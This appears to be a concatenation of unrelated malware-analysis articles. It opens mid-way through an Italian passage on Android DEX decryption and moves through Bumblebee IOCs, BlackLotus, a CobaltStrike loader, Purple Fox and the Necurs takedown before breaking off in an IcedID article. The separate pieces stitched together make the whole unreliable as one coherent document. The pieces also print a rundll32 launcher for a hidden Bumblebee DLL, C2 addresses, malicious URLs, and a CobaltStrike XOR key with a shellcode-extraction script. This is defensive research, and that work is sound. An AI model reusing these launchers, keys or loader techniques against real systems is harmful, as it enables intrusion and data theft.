Un rapido sguardo ai simboli e al codice presenti nella libreria ci informa che è stata scritta in C++: i nomi seguono infatti il mangling C++ (che è ripreso dall’ABI dell’architettura Itanium anche per le altre architetture).
### Inizializzazione della chiave secondo RC4
Il file DEX può quindi essere prelevato dalle risorse, ad esempio con apktool -d o simili, e decifrato, per comodità, anche con cyberchef.
### Preparazione al reverse – jrename
Ottenuto il DEX è possibile analizzarlo con JADX, gran parte del bytecode viene decompilato egregiamente. Nella maggior parte dei casi i nomi delle classi, dei metodi e dei campi sono offuscati, come molti decompilatori anche JADX cambia i nomi per renderli leggibili ma ovviamente sono nomi non significativi. Per gli APK con un gran numero di funzionalità non è possibile memorizzare le funzionalità di ogni nome ma è necessario rinominare i metodi, i campi e le classi.
JADX, che è sia un decompilatore che una sorta di IDE per la navigazione del codice decompilato, permette di rinominare le entità ed è quindi usabile per il compito successivo dell’analisi, ovvero il reverse engineering vero e proprio.
Per prima cosa è stato convertito il file DEX in un JAR, in questo caso usando enjarify:
```bash
$ enjarify.sh coper.dex -o coper.jar
```
Le classi dentro il JAR hanno come nomi parole chiave riservate:
```bash
$ 7z l coper.jar
```
Inoltre, i metodi ed i campi delle classi hanno nomi che sono riutilizzati varie volte. Possiamo ora rinominare e decompilare il file JAR:
```bash
$ ./jrename coper.jar
$ jadx -d res1 coper_renamed.jar
```
Otteniamo così un file jar (coper_renamed.jar) e dei sorgenti su cui possiamo lavorare.
|
# Bumblebee Malware from TransferXL URLs
**Published:** 2022-05-19
**Last Updated:** 2022-05-20 04:48:30 UTC
**by Brad Duncan (Version: 1)**
## Introduction
Last month, Google's Threat Analysis Group (TAG) reported on EXOTIC LILY using file transfer services like TransferNow, TransferXL, WeTransfer, or OneDrive to distribute malware. Threat researchers like @k3dg3 occasionally report malware samples from this activity. Based on @k3dg3's recent tweet, I searched through VirusTotal and found a handful of active TransferXL URLs delivering ISO files for Bumblebee malware. Today's diary reviews an infection generated from this activity on Wednesday 2022-05-18.
## TransferXL URLs
TransferXL is a legitimate file sharing service. However, like other services with a cost-free tier, TransferXL has been abused by criminals as a way to distribute malicious files. With TransferXL, we have the benefit of seeing an email address used to share the malicious file. The associated email address is [email protected].
The downloaded zip archive contains an ISO disk image. When double-clicked, this file is mounted as a DVD drive. The ISO file contains a visible Windows shortcut and a hidden malware DLL for Bumblebee. Double-clicking the Windows shortcut will run the hidden malware DLL on a vulnerable Windows host.
## Traffic from an infection
After downloading malware from the malicious TransferXL URL, the infected host generated Bumblebee C2 traffic to 194.135.33[.]144 over TCP port 443. Approximately 15 minutes after the Bumblebee C2 traffic first appeared, the infected Windows host generated HTTPS traffic to ec2-3-144-143-232-us-east-2.compute.amazonaws[.]com on 3.144.143[.]242 over TCP port 443. The infected host sent approximately 5.5 MB of data out and received approximately 4.0 MB of data back from that server.
Approximately 14 minutes after HTTPS traffic to the amazonAWS server, HTTPS Cobalt Strike traffic appeared on 23.106.215[.]123 over TCP port 443 using xenilik[.]com as the domain. It lasted approximately 3 minutes.
## Indicators of Compromise (IOCs)
TransferXL URLs associated with the above email returning zip archives containing malicious ISO files:
- hxxps://www.transferxl[.]com/download/00ZNPDZqZwZ9m
- hxxps://www.transferxl[.]com/download/00jwbtRXtsSsZX
- hxxps://www.transferxl[.]com/download/00vJV4K6QVXSq6
- hxxps://www.transferxl[.]com/download/00y12VGg75h7K
- hxxps://www.transferxl[.]com/download/08j8ZRjHFkVxxc
**NOTE:** The above URLs usually have ?utm_source=downloadmail&utm_medium=e-mail appended to them.
Email addresses associated with malicious TransferXL URLs:
- andresbolivar@southerncompanygas[.]co
- jhurris@wolsleyindustrialgroup[.]com
- m.jones@wolsleyindustrialgroup[.]com
- mjones@wolsleyindustrialgroup[.]co
Domains from the above emails:
- southerncompanygas[.]co - registered 2022-04-27
- wolsleyindustrialgroup[.]com - registered 2022-04-29
- wolsleyindustrialgroup[.]co - not registered
Malware from an infected Windows host:
- **SHA256 hash:** 1ec8c7e21090fb4c667f40c8720388a89789c569169fe0e41ec81567df499aac
**File size:** 669,897 bytes
**File name:** TransferXL-00jdMwft3vVZ7Q.zip
**File description:** Zip archive retrieved from TransferXL URL
- **SHA256 hash:** 24aa82e1a085412686af5d178810fc0d056c5b8167ae5b88973b33071aa14569
**File size:** 1,052,672 bytes
**File name:** documents-2205210.iso
**File description:** ISO file extracted from downloaded zip archive
- **SHA256 hash:** ade875616534b755f33f6012ea263da808dd7eb50bc903fc97722f37fac7c164
**File size:** 1,191 bytes
**File name:** New Folder.lnk
**File description:** Windows shortcut contained in ISO file
**Shortcut:** C:\Windows\System32\rundll32.exe spc.dll,JQhnMKwhpA
- **SHA256 hash:** 88c07354f1d7b0485452d5c39dc1a6d73884e163bc5489c40adc6662602b4d76
**File size:** 997,888 bytes
**File name:** spc.dll
**File description:** 64-bit DLL (hidden flag set) for Bumblebee malware
**Run method:** rundll32.exe [filename],JQhnMKwhpA
Traffic from the infected Windows host:
- 194.135.33[.]144 port 443 - Bumblebee C2 HTTPS traffic
- 3.144.143[.]242 port 443 - ec2-3-144-143-242.us-east-2.compute.amazonaws[.]com - HTTPS traffic
- 23.106.215[.]123 port 443 - xenilik[.]com - Cobalt Strike HTTPS traffic
## Final words
As the Google TAG blog post notes, EXOTIC LILY is using this method to push Bumblebee malware, and Bumblebee leads to further malware like Cobalt Strike. Cobalt Strike has been documented by different sources as leading to ransomware. Today's diary reviewed a Bumblebee malware infection associated with EXOTIC LILY that led to Cobalt Strike activity.
Pcap and malware samples associated with this infection are available here.
---
**Brad Duncan**
brad [at] malware-traffic-analysis.net
**Keywords:** Bumblebee, Cobalt Strike, EXOTIC LILY, malware, TransferXL
|
# The Untold Story of the BlackLotus UEFI Bootkit
My experience with the analysis and detection of rootkits and bootkits goes back more than 20 years. In the early 2000s, the main challenge was dealing with infected machines when rootkits and bootkits modified the operating system kernel to conceal malicious components. It was such a fun time reverse engineering advanced threats in the good old days that I co-wrote "Rootkits and Bootkits: Reversing Modern Malware and Next Generation Threats," a book full of the most interesting stories of our time going down the rabbit hole of advanced malware.
When the major operating systems moved to UEFI support and Secure Boot was widely implemented, I really believed the golden age of bootkits had ended and the natural evolution would lead in the direction of firmware implants. I was wrong. Last week, researchers at ESET published "BlackLotus UEFI Bootkit: Myth Confirmed," confirming the existence of UEFI bootkits all over again. UEFI bootkits like BlackLotus are not new and have been publicly seen since 2013 or even earlier. Modified or replaced bootloaders create very visible and noisy Indicators of Compromise (IOCs) that attackers who are focused on persistence want to avoid.
Nevertheless, BlackLotus has been detected in-the-wild by the end of 2022, which is surprising for a malware class that has been around for 10+ years.
## Dive into (in)secure boot and the CVSS scoring problem
This story also has a supply chain twist. A critical aspect of the BlackLotus story lies in supply chain problems relating to modern operating systems, their bootloaders, and UEFI firmware. In order to bypass Secure Boot at scale, BlackLotus exploits CVE-2022-21894, a vulnerability patched by Microsoft in January 2022. A proof-of-concept exploit was released in August 2022, seven months after Microsoft’s public disclosure.
The CVE-2022-21894 vulnerability’s CVSS score (4.4 medium) doesn't seem to indicate a serious vulnerability, does it? The problem with most of the Secure Boot bypass vulnerabilities is that they require local or physical access to the target. This significantly affects CVSS scoring in terms of the impact. Since Secure Boot bypass attacks cross security boundaries or allow the disabling of security features, we need to treat them as privilege escalation vulnerabilities to more accurately reflect the CVSS impact score.
As the operating system bootloader becomes the middle layer between the firmware and operating system during the boot process, the bootloader provides a significant attack surface that can impact a lot of security features like disk encryption and secure boot. Currently, there is little documentation on attacks against bootloaders and a lot of inconsistency in the published existing knowledge. Here are some Microsoft advisories related to Secure Boot bypasses and other bootloader vulnerabilities.
| Vulnerability | CVSS Score | Impact |
|-----------------------------------|------------|----------------------------------|
| CVE-2023-21560 | 6.6 Medium | BitLocker Encryption Bypass |
| CVE-2022-21894 | 4.4 Medium | Secure Boot Security Bypass |
| BootHole (ADV200011) | 5.7 Medium | Secure Boot Security Bypass |
| CVE-2020-0689 | 6.7 Medium | Secure Boot Security Bypass |
| CVE-2019-1368 | 4.6 Medium | Secure Boot Security Bypass |
| CVE-2019-1294 | 4.6 Medium | Secure Boot Security Bypass |
| CVE-2016-7247 | 5.0 Medium | Secure Boot Security Bypass |
| CVE-2016-3287 | 4.4 Medium | Secure Boot Security Bypass |
| CVE-2016-3320 | 4.9 Medium | Secure Boot Security Bypass |
| CVE-2015-6095 | 4.9 Medium | BitLocker Encryption Bypass |
As an aside, the navigation on the Microsoft Security Response Center (MSRC) website is a complete disaster from the perspective of tracking retrospective vulnerabilities and attacks. According to CVSS scores, all of these issues fall under ‘medium-severity’ impact. Despite this, many of them allow bypassing Secure Boot and attacking the bootloader with serious consequences.
Even after the vendor fixes the secure boot bypass vulnerabilities shown in the figure above, the vulnerabilities can present long-term, industry-wide supply chain impact. Using CVE-2022-21894 as an example shows how such vulnerabilities can be exploited in the wild after one year, even with a vendor fix available.
Interestingly, CVE-2022-21894 reminds me of previous findings MS16-094/CVE-2016-3287 and MS16-100/CVE-2016-3320 (also known as Golden Key vulnerabilities) discovered by the same researcher Clark Zammis. The complexity of the modern Microsoft Windows Boot Manager (bootmgfw) grows with every new release of Windows, simultaneously expanding the attack surface. Modern UEFI-based Secure Boot schemes are extremely complicated to configure correctly and/or to reduce their attack surfaces meaningfully. That being said, bootloader attacks are not likely to disappear anytime soon.
A record number of high-impact vulnerabilities (228) were disclosed by the Binarly REsearch team in UEFI system firmware within one year. By design, most of these vulnerabilities bypass Secure Boot and allow attackers to persist at the firmware level.
The example of BlackLotus shows how old tricks with less complicated malware can be used to gain persistence below the operating system via exploitation of a known secure boot bypass vulnerability. Still, it is quite difficult to mitigate the BlackLotus/CVE-2022-21894 secure boot bypass across the industry. The UEFI Forum is usually responsible for coordinating and supporting the major vendor-independent mitigation of UEFI Revocation List Files (DBX). This list contains the hashes of signed bootloaders or firmware components that were blacklisted.
The problem with every blacklist technology is that it will always miss known problems if it is not updated or well maintained. In the history of UEFI Revocation List Files (DBX), Microsoft pushed mandatory updates only a handful of times. Other than OS vendors, who else should be responsible for these updates? Device vendors with firmware updates? As we all know, firmware updates typically occur only a few times a year, so any blacklist will be near useless with such minimal update frequency, but it is better than nothing.
We can see from the figure above that any compromised signed UEFI component can break secure boot integrity and bypass it. My mind immediately goes to the Binarly REsearch team's discovery of BRLY-2021-003/CVE-2021-39297 (stack buffer overflow) vulnerability on HP devices last year (almost 8 months under disclosure process). Based on the demo below, an attacker can execute arbitrary code over HP Hardware Diagnostics UEFI application.
During its analysis of BlackLotus, the ESET research team discovered that the MokList NVRAM variable was modified. The MokList variable contains a list of authorized Machine Owner Keys (MOKs) and hashes (EFI_SIGNATURE_LIST according to the UEFI specification). But it's another example of a supply chain issue with broad secure boot implications in the field as the MokList variable can be modified in runtime. With the modified MokList variable, an attacker can easily load any self-signed shim bootloader, which is actually another vulnerability in the chain used to keep secure boot active.
In the modern secure boot, there are many inconsistencies due to many factors, including legacy compatibility issues. The Binarly REsearch Team has discussed these weaknesses for years at multiple public conferences, but the complexity of modern secure boot continues to increase.
Enterprise defenders and CISOs need to understand that threats below the operating system are clear and present dangers to their environments. Since this attack vector has significant benefits for the attacker, it is only going to get more sophisticated and complex. Vendor claims about security features can be completely opposite to the reality. Binarly's small research team was able to discover and disclose 228 high-impact vulnerabilities across all major enterprise vendors in a year, which we believe only scratches the surface. This research continues, on both sides of the fence (defense and offense).
## A new name for old tricks
Are there any new techniques in the BlackLotus bootkit? My opinion is that BlackLotus is a good combination of well-known techniques. Proof of concept code for CVE-2022-21894 (public since August 2022) was taken from the GitHub repository of the researcher who found the vulnerability.
Binarly REsearch discovered new interesting data points about the nature of the bootkit code. It appears the author of the BlackLotus bootkit based their development on code from the Umap GitHub project (Windows UEFI bootkit that loads a generic driver manual mapper without using a UEFI runtime driver) or coincidently arrived at the same ideas. According to the first commit, Umap was released in April 2020.
This picture shows a comparison of the logic of the main function from BlackLotus and Umap. Both look very similar and contain exactly the same steps with a few minor changes.
The routines responsible for installing the hook chain (start with ImgArchStartBootApplication) are very similar as shown in the figure. BlackLotus trampoline code modification logic to setup hooks is identical to Umap code on GitHub.
With these new data points, we can see how UEFI bootkit code reused from 2020 can be combined with publicly available proofs of concept for CVE-2022-1894 to lead to the creation of the BlackLotus bootkit. This relatively new secure boot bypass vulnerability (which the vendor claims is low-impact) has led to widespread distribution of old malicious UEFI bootkit code.
## Zero-knowledge detection of new threats
Binarly has been focused from the beginning on developing proactive technology based on deep code inspection to detect unknown threats and vulnerabilities to help the industry recover from repeatable failures. The Binarly Platform dashboard below shows code similarity proactive detection based on machine learning models guided by code-based embeddings.
Using the BlackLotus components, we simulated infection on one of the machines available in our lab. Binarly Platform was used to compare collected snapshots of the infected and clean EFI System Partitions (ESP). Based on function similarity, we detect the replacement of bootmgfw.efi with the shim.
The BlackLotus anomaly was proactively detected with zero knowledge about this threat, and the explained code similarity failures make it actionable for the security and incident response teams to conduct further investigation.
Let's explore the code similarity detection in more detail. The figure below shows the detailed output for the detected anomalies from the BlackLotus malicious components added to ESP partition.
Code similarity detects anomalies based on code changes and integrity checking heuristics as shown in the figure below.
Here is a visual explanation of the outlier (compromised ESP partition) and details of the algorithm to detect anomaly:
Binarly's Platform is able to analyze modules and executables based on semantic similarity. The figure above shows a visualization of the program embeddings for bootmgfw and the shim. For code function signatures, we used data clustering algorithm DBSCAN with a precomputed Gower distance to detect anomalies. This is where we detect that additional suspicious modules were added. Afterwards, we visualized the results using the T-SNE algorithm.
## What about detection based on FwHunt?
We continue to maintain the public FwHunt rules database and today we released a new semantic-based rule to cover malicious bootloader components from the BlackLotus bootkit. BlackLotus rule is included in FwHunt's GitHub repository. To use these rules you will need FwHunt Community Scanner (fwhunt-scan).
We need to increase the industry awareness to firmware related threats and build more effective threat hunting programs with cross-industry collaboration between the vendors to mutually benefit customers and provide better detection rates.
|
# Quick Analysis of CobaltStrike Loader and Shellcode
I saw this hash `2569cc660d2ae0102aa74c98d78bb9409ded24101a0eeec15af29d59917265f3` shared at malwareresearchgroup.slack.com. It was submitted to VT on 2021-09-01 19:47:50 and 37 security vendors flagged this file as malicious.
## 1. Analyze Loader
This loader is a 64-bit DLL, compiled by MinGW, and has one exported function. With the help of IDA, we can see the `ServiceMain` function will spawn a new thread (renamed to `f_spawn_shellcode_thread`):
The `f_spawn_shellcode_thread` function does the following tasks:
- Init `xor_key` is “jKfXmEkWYshKkZdPhJYS”
- Allocate heap buffer for storing encrypted shellcode bytes and assign values to this buffer based on the global byte array declared from the beginning.
- Perform loop to decode the shellcode.
- Spawn new thread to execute the decoded shellcode.
I wrote a short script to do shellcode extraction for later analysis:
```python
import sys
import pefile
xor_key = "jKfXmEkWYshKkZdPhJYS"
def decode_sc(data, key):
key_len = len(key)
data_len = len(data)
decrypted = bytearray(data_len)
for i in range(0, data_len):
decrypted[i] = data[i] ^ key[i % key_len]
print("Decode Done!")
return decrypted
def extract_sc(input_file):
encrypted_sc = []
try:
print("\r\nFile: " + input_file)
pe = pefile.PE(input_file)
for section in pe.sections:
if b'.rdata\x00\x00' in section.Name:
rdata_section = bytearray(section.get_data())
size = 0
for i in rdata_section:
if rdata_section[size] == 0x00 and rdata_section[size + 1] == 0x00:
break
else:
size += 1
print("Encrypted bytes size: " + str(size - 24) + " bytes")
encrypted_bytes = rdata_section[24:size + 1]
for i in range(len(encrypted_bytes)):
if (i & 1) == 0:
encrypted_sc.append(encrypted_bytes[i])
key = xor_key.encode('ascii')
decrypted_sc = decode_sc(encrypted_sc, key)
with open(sys.argv[1] + "-decrypted", "wb") as out_file:
out_file.write(decrypted_sc)
print("Shellcode extracted at " + sys.argv[1] + "-decrypted!\r\n")
print("Extract Shellcode Done!")
except Exception as e:
print("Error: " + str(e))
if __name__ == '__main__':
if len(sys.argv) == 2:
extract_sc(sys.argv[1])
else:
print("Usage: cobalt_extract_sc.py <cobalt_loader_dll>")
```
After running the script, I got the shellcode.
## 2. Analyze Shellcode
If we load the raw shellcode into IDA and convert it to assembly code, we can see the pattern code that the shellcode uses to locate the fields of the PEB structure. This suggests that it will use PEB to look up the addresses of the API functions in the DLL used by the shellcode.
Going into `sub_D2`, the first statement assigns the return address to the `rbp` register. We know that this address is `0xA (push r9)`. Then we see the string value ‘wininet’ is loaded into the `r14` register at `0xD5`. A value is assigned to the `r10` register (726774Ch) and following this is a call to the address pointed by the `rbp` register. At that time, I think these are hash values related to API functions, and the shellcode will perform calculations to compare these values to get the related API address.
For convenience in analysis and debugging, I converted the shellcode to an executable. Finally, I got the following pseudocode related to finding the address of the API function and calling the API through the `jmp rax` command:
Based on the above pseudocode, we can see that the shellcode will calculate two hash values: the first value is based on the name of the DLL, and the second value is based on the name of the API function of that DLL. These two values are added together and compared with the pre-computed hash value.
You can write scripts to recover API functions or save time; I always use `shellcode_hashes_search_plugin.py` from the FLARE Team. Details can be found in this article.
Final result after using the plugin:
```
shellcode_hash: Starting up
[INFO] Starting up (shellcode_hash_search:run)
shellcode_hash: Processing current segment only: 0x140001000 - 0x140003000
[INFO] Processing current segment only: 0x140001000 - 0x140003000
(shellcode_hash_search:processCode)
shellcode_hash: 0x1400020e7: ror13AddHash32AddDll:0x0726774c kernel32.dll!LoadLibraryA
[INFO] 0x1400020e7: ror13AddHash32AddDll:0x0726774c kernel32.dll!LoadLibraryA
(shellcode_hash_search:lookForOpArgs)
shellcode_hash: 0x1400020ff: ror13AddHash32AddDll:0xa779563a wininet.dll!InternetOpenA
[INFO] 0x1400020ff: ror13AddHash32AddDll:0xa779563a wininet.dll!InternetOpenA
(shellcode_hash_search:lookForOpArgs)
shellcode_hash: 0x140002121: ror13AddHash32AddDll:0xc69f8957 wininet.dll!InternetConnectA
[INFO] 0x140002121: ror13AddHash32AddDll:0xc69f8957 wininet.dll!InternetConnectA
(shellcode_hash_search:lookForOpArgs)
shellcode_hash: 0x140002140: ror13AddHash32AddDll:0x3b2e55eb wininet.dll!HttpOpenRequestA
[INFO] 0x140002140: ror13AddHash32AddDll:0x3b2e55eb wininet.dll!HttpOpenRequestA
(shellcode_hash_search:lookForOpArgs)
shellcode_hash: 0x14000216a: ror13AddHash32AddDll:0x869e4675 wininet.dll!InternetSetOptionA
[INFO] 0x14000216a: ror13AddHash32AddDll:0x869e4675 wininet.dll!InternetSetOptionA
(shellcode_hash_search:lookForOpArgs)
shellcode_hash: 0x140002184: ror13AddHash32AddDll:0x7b18062d wininet.dll!HttpSendRequestA
[INFO] 0x140002184: ror13AddHash32AddDll:0x7b18062d wininet.dll!HttpSendRequestA
(shellcode_hash_search:lookForOpArgs)
shellcode_hash: 0x140002329: ror13AddHash32AddDll:0x56a2b5f0 kernel32.dll!ExitProcess
[INFO] 0x140002329: ror13AddHash32AddDll:0x56a2b5f0 kernel32.dll!ExitProcess
(shellcode_hash_search:lookForOpArgs)
shellcode_hash: 0x140002345: ror13AddHash32AddDll:0xe553a458 kernel32.dll!VirtualAlloc
[INFO] 0x140002345: ror13AddHash32AddDll:0xe553a458 kernel32.dll!VirtualAlloc
(shellcode_hash_search:lookForOpArgs)
shellcode_hash: 0x140002363: ror13AddHash32AddDll:0xe2899612 wininet.dll!InternetReadFile
[INFO] 0x140002363: ror13AddHash32AddDll:0xe2899612 wininet.dll!InternetReadFile
(shellcode_hash_search:lookForOpArgs)
shellcode_hash: Done
[INFO] Done (shellcode_hash_search:run)
```
At this point, we can do debugging for further analysis; however, for quick analysis, I used hasherezade’s tiny_tracer tool to trace the shellcode.
|
# Purple Fox Uses New Arrival Vector and Improves Malware Arsenal
**March 25, 2022**
Purple Fox is an old threat that has been making waves since 2018. This most recent investigation covers Purple Fox’s new arrival vector and early access loaders. Users’ machines seem to be targeted with malicious payloads masquerading as legitimate application installers.
We have been continuously tracking the Purple Fox threat since it first made waves in 2018, when it reportedly infected over 30,000 users worldwide. In 2021, we covered how it downloaded and executed cryptocurrency miners, and how it continued to improve its infrastructure while also adding new backdoors.
This most recent investigation covers Purple Fox’s new arrival vector and the early access loaders we believe are associated with the intrusion set behind this botnet. Our data shows that users’ machines are targeted via trojanized software packages masquerading as legitimate application installers. The installers are actively distributed online to trick users and increase the overall botnet infrastructure. Other security companies have also reported on Purple Fox’s recent activities and their latest payloads.
The operators are updating their arsenal with new malware, including a variant of the remote access trojan FatalRAT that they seem to be continuously upgrading. They are also trying to improve their signed rootkit arsenal for antivirus (AV) evasion to be able to bypass security detection mechanisms. These notable changes are covered in the sections below and further explained in our technical brief.
## Purple Fox infection chain and payload updates
The attackers distribute their malware using disguised software packages that encapsulate the first stage loader. They use popular legitimate application names like Telegram, WhatsApp, Adobe, and Chrome to hide their malicious package installers. The installers include a specific single character that corresponds to a specific payload. The second stage payload is added as the single character in the request sent by the execution parent to the first stage command and control (C&C) server. It is retrieved through the module filename’s last character, then the first stage C&C server will log the execution timestamp sent in the request alongside the character. The single character will then determine what payloads will be sent back for the malicious installer to drop on the infected machine.
In previous campaigns in 2019, HTTP file servers (HFS) were used by Purple Fox to run the C&C servers that host files on the infected bots. In this most recent investigation, we found an exposed HFS that the Purple Fox group uses to host all the second stage samples with their update timestamps. We were able to track the frequency of the second stage updated packages pushed to this exposed server using the timestamp data. They are still actively updating their components at the time of writing.
## Notable Purple Fox tools and techniques
We noted that some of the software they were impersonating were commonly used by Chinese users. The following list shows the recently used software and the corresponding malicious payload for the second stage of the infection. As mentioned above, the different payloads will be served by the C&C upon execution based on the last character in the module filename.
We tracked a server hosting the second stage payloads and saw a compressed RAR archive holding the second stage loaders along with the file svchost.txt, which contains all the malicious portable executable (PE) module components that will be dropped in the second stage. The order of the PE modules inside svchost.txt is dependent on the package requested by the malicious installers. As previously mentioned, the last character in the installer filename will determine the final set of the auxiliary modules that will be stuffed inside svchost.txt.
### Shellcode user-mode loader and anti-forensics methods
A specific set of portable executable (PE) modules found in one of the most distributed clusters from the malware had a wide range of capabilities in terms of AV evasion. This cluster is noteworthy for various reasons as well — it has links to older families, it loaded a previously documented Purple Fox MSI installer, and it had different rootkit capabilities in the auxiliary PE modules. More details about this cluster can be found in our technical brief.
After analyzing all the observed malicious execution parents delivering different clusters, we found that the shellcode component at the prologue of the dropped svchost.txt was similar across all the different variants, regardless of the actual payloads embedded after the shellcode. It has two different implementations across all the clusters.
The first shellcode implements four main functions for the intended functionality. Meanwhile, the new shellcode is more minimalistic because it implements only important functionalities to load a PE in memory and parse several system APIs addresses. It resolves different system APIs from the first one we mentioned.
One more thing to note: the Purple Fox group implements a customized user-mode shellcode loader that leaves little traces for cybersecurity forensics. It minimizes both the quantity and quality of the forensic evidence as the execution doesn’t rely on the native loader and doesn't respect the PE format for a successful execution.
## The use of FatalRAT and incremental updates
After the shellcode loads and allocates memory for the PE modules inside svchost.txt, the execution flow will call into the first PE module found after the shellcode. This is a remote access trojan (RAT) that inherits its functionality from a malware known as FatalRAT, a sophisticated C++ RAT that implements a wide set of remote capabilities for the attackers. The executed FatalRAT variants differ across each cluster, illustrating that the attackers are incrementally updating it.
The RAT is responsible for loading and executing the auxiliary modules based on checks performed on the victim systems. Changes can happen if specific AV agents are running or if registry keys are found. The auxiliary modules are intended as support for the group’s specific objectives.
## New capabilities to evade cybersecurity mechanisms
One of the analyzed executables embedded in svchost.txt is a user-mode client used to interface with the accompanying rootkit module. This client supports five different commands, each command implements a specific functionality to be executed from the kernel driver with the appropriate input/output control (IOCTL) interface exposed. The functionality to “kill a mini-filter” is notable in terms of AV evasion. File systems are targets for input-output (I/O) operations to access files, and file system filtering is the mechanism by which the drivers can intercept calls sent to the file system — this specifically is useful for AV agents.
We looked deeper into the mini-filter driver killer and how the attackers implemented this functionality. The driver first enumerates all the registered mini filter drivers on the system using the system API FltEnumerateFilters, then it gets the targeted mini-filter object information it is searching for by calling FltGetFilterInformation. Lastly, it creates a new system thread to unregister the mini-filter driver and terminate the created system thread.
## The uses of revoked code signing certificates
To control the quality of the code that runs in the address space of the kernel-land, Microsoft only allows signed drivers to run in kernel mode. They do this by enforcing kernel-mode code signing (KMCS) mechanisms. Due to performance issues and backward compatibility, Windows actually allows the loading of a kernel driver signed by a revoked code signing certificate. So, by testing a previous kernel driver and allowing it to be revoked, it can be loaded successfully. This design choice allows mature threat actors to chase and pursue any stolen code signing certificate and add it to their malware arsenal.
If the malware authors acquire any certificate that has been verified by a trusted certificate authority and by Microsoft, even if it was revoked, attackers can use it for malicious purposes.
## Links to previous Purple Fox activities and artefacts
Analyzing the artefacts dropped by this new infection chain, we first looked at the stolen code signing certificates used to sign the kernel drivers’ modules. This led us to analyze other signed malicious samples in our malware repository, which revealed links to previously known intrusion sets.
There were three different stolen code signing certificates confirmed to be related to this campaign with links to Purple Fox:
- Hangzhou Hootian Network Technology Co., Ltd. - We found a strong connection to early activity of the Purple Fox botnet that started in 2019.
- Shanghai Oceanlink Software Technology Co. Ltd. - Analysis revealed several clusters of malicious kernel modules previously used in Purple Fox activities.
- Shanghai easy kradar Information Consulting Co. Ltd. – This certificate overlaps with “Hangzhou Hootian Network” in signing a common cluster of kernel drivers that was also previously seen in Purple Fox activities.
This campaign is similar with earlier Purple Fox activities in other ways as well, namely, how the attack infrastructure is run and the malware hosted on their servers:
- The first stage C&C server 202[.]8.123[.]98 links FatalRAT operators with the Purple Fox. The server was hosting the malicious compressed archives in this campaign and was used before by FatalRAT as their main C&C server.
- One of the first stage servers (194.146.84.245) hosted an old module for the MSI installer for Purple Fox that will eventually load the crypto miner discussed in the previous blogs.
- The dropped FatalRAT from the malicious archive found on the first stage C&C server revealed many code similarities with a previously documented info stealer known as Zegost.
## Conclusion
Operators of the Purple Fox botnet are still active and consistently updating their arsenal with new malware, while also upgrading the malware variants they have. They are also trying to improve their signed rootkit arsenal for AV evasion and trying to bypass detection mechanisms by targeting them with customized signed kernel drivers.
Abusing stolen code signing certificates and unprotected drivers are becoming more common with malicious actors. Software driver vendors should secure their code signing certificates and follow secure practices in the Windows kernel driver development process.
|
# New action to disrupt world’s largest online criminal network
March 10, 2020
Today, Microsoft and partners across 35 countries took coordinated legal and technical steps to disrupt one of the world’s most prolific botnets, called Necurs, which has infected more than nine million computers globally. This disruption is the result of eight years of tracking and planning and will help ensure the criminals behind this network are no longer able to use key elements of its infrastructure to execute cyberattacks.
A botnet is a network of computers that a cybercriminal has infected with malicious software, or malware. Once infected, criminals can control those computers remotely and use them to commit crimes. Microsoft’s Digital Crimes Unit, BitSight, and others in the security community first observed the Necurs botnet in 2012 and have seen it distribute several forms of malware, including the GameOver Zeus banking trojan.
The Necurs botnet is one of the largest networks in the spam email threat ecosystem, with victims in nearly every country in the world. During a 58-day period in our investigation, for example, we observed that one Necurs-infected computer sent a total of 3.8 million spam emails to over 40.6 million potential victims.
Necurs is believed to be operated by criminals based in Russia and has also been used for a wide range of crimes including pump-and-dump stock scams, fake pharmaceutical spam email, and “Russian dating” scams. It has also been used to attack other computers on the internet, steal credentials for online accounts, and steal people’s personal information and confidential data. Interestingly, it seems the criminals behind Necurs sell or rent access to the infected computer devices to other cybercriminals as part of a botnet-for-hire service. Necurs is also known for distributing financially targeted malware and ransomware, cryptomining, and even has a DDoS (distributed denial of service) capability that has not yet been activated but could be at any moment.
On Thursday, March 5, the U.S. District Court for the Eastern District of New York issued an order enabling Microsoft to take control of U.S.-based infrastructure Necurs uses to distribute malware and infect victim computers. With this legal action and through a collaborative effort involving public-private partnerships around the globe, Microsoft is leading activities that will prevent the criminals behind Necurs from registering new domains to execute attacks in the future.
This was accomplished by analyzing a technique used by Necurs to systematically generate new domains through an algorithm. We were then able to accurately predict over six million unique domains that would be created in the next 25 months. Microsoft reported these domains to their respective registries in countries around the world so the websites can be blocked and thus prevented from becoming part of the Necurs infrastructure. By taking control of existing websites and inhibiting the ability to register new ones, we have significantly disrupted the botnet.
Microsoft is also taking the additional step of partnering with Internet Service Providers (ISPs) and others around the world to rid their customers’ computers of malware associated with the Necurs botnet. This remediation effort is global in scale and involves collaboration with partners in industry, government, and law enforcement via the Microsoft Cyber Threat Intelligence Program (CTIP). Through CTIP, Microsoft provides law enforcement, government Computer Emergency Response Teams (CERTs), ISPs, and government agencies responsible for the enforcement of cyber laws and the protection of critical infrastructure with better insights into criminal cyber infrastructure located within their jurisdiction, as well as a view of compromised computers and victims impacted by such criminal infrastructure.
For this disruption, we are working with ISPs, domain registries, government CERTs, and law enforcement in Mexico, Colombia, Taiwan, India, Japan, France, Spain, Poland, and Romania, among others. Each of us has a critical role to play in protecting customers and keeping the internet safe.
|
# Microsoft Exchange Targeted for IcedID Reply-Chain Hijacking Attacks
The distribution of the IcedID malware has seen a spike recently due to a new campaign that hijacks existing email conversation threads and injects malicious payloads that are hard to spot. IcedID is a modular banking trojan first spotted back in 2017, used mainly to deploy second-stage malware such as other loaders or ransomware. Its operators are believed to be initial access brokers who compromise networks and then sell the access to other cybercriminals. The ongoing IcedID campaign was discovered this month by researchers at Intezer, who have shared their findings with Bleeping Computer prior to publication.
## How the Attack Works
The primary method of the conversation hijacking attack is to assume control of a key email account participating in a discussion with the target, and then send a phishing message crafted to appear as a continuation of the thread. As such, when the target receives a reply message with an attachment named and presented as something relevant to the previous discussion, the chances of suspecting fraud are reduced to a minimum. Intezer explains that there are clues pointing to threat actors targeting vulnerable Microsoft Exchange servers to steal the credentials, as many of the compromised endpoints they found are public-facing and unpatched.
Additionally, in this campaign, the analysts have seen malicious emails sent from internal Exchange servers, using local IP addresses within a more trustworthy domain, and hence unlikely to be marked as suspicious.
